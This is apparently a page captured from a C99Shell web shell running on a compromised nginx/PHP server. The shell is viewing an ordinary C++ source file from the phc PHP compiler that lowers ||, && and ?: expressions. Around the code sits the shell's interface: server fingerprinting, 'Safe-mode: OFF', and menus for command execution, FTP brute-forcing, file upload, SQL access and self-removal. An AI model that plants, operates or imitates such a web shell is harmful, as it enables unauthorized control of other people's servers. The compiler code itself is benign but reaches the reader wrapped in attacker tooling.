!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/scripts/pba/phc-read-only/src/ast_to_hir/   drwxrwxr-x
Free 83.21 GB of 96.73 GB (86.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Lower_expr_flow.cpp (1.92 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * phc -- the open source PHP compiler
 * See doc/license/README.license for licensing information
 *
 * Lower control flow inside expressions (",", "&&", "||", "?:") 
 */

#include "Lower_expr_flow.h"
#include "process_ir/General.h"

using namespace AST;

/*
 * Binary operator
 *
 * Convert 
 *        foo(f(), g());
 * into
 *        f();
 *        foo(g());
 *
 * Convert
 *         foo(f() || g());
 * into
 *         $TEF1 = f();
 *         foo((bool)($TEF1 ? $TEF1 : g()));
 *
 * Convert
 *         foo(f() && g());
 * into
 *         $TEF1 = f();
 *         foo((bool)($TEF1 ? g() : $TEF1));
 *
 * The conditional expressions are then taken care of by post_conditional_expr
 */

Expr* Lower_expr_flow::post_bin_op(Bin_op* in)
{
    Conditional_expr* result;
    if(*in->op->value == ",")
    {
        pieces->push_back(new Eval_expr(in->left));
        return in->right;
    }
    else if(*in->op->value == "||" || *in->op->value == "or")
    {
        Variable* temp = dynamic_cast<Variable*>(eval(in->left));
        assert(temp);
        result = new Conditional_expr(
            temp->clone(), 
            temp->clone(),
            in->right);
    }
    else if(*in->op->value == "&&" || *in->op->value == "and")
    {
        Variable* temp = dynamic_cast<Variable*>(eval(in->left));
        assert(temp);
        result = new Conditional_expr (
            temp->clone(), 
            in->right,
            temp->clone());
    }
    else 
        return in;

    // && and || automatically turn their parameters into bools
    return new Cast (new CAST (s("bool")), post_conditional_expr (result));
}

/*
 * Translate
 *         foo(f() ? g() : h());
 * into
 *         if(f()) $TEF2 = g ();
 *         else $TEF2 = h ();
 *            foo($TEF2);
 */

Expr* Lower_expr_flow::post_conditional_expr(Conditional_expr* in)
{
    Variable* temp = fresh_var("TEF");

    pieces->push_back(new If (
        in->cond, 
            new Statement_list (
                new Eval_expr (
                    new Assignment (
                        temp->clone (), 
                        false, 
                        in->iftrue))),
            new Statement_list (
                new Eval_expr (
                    new Assignment (
                        temp->clone (),
                        false,
                        in->iffalse)))));
    
    return temp;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0042 ]--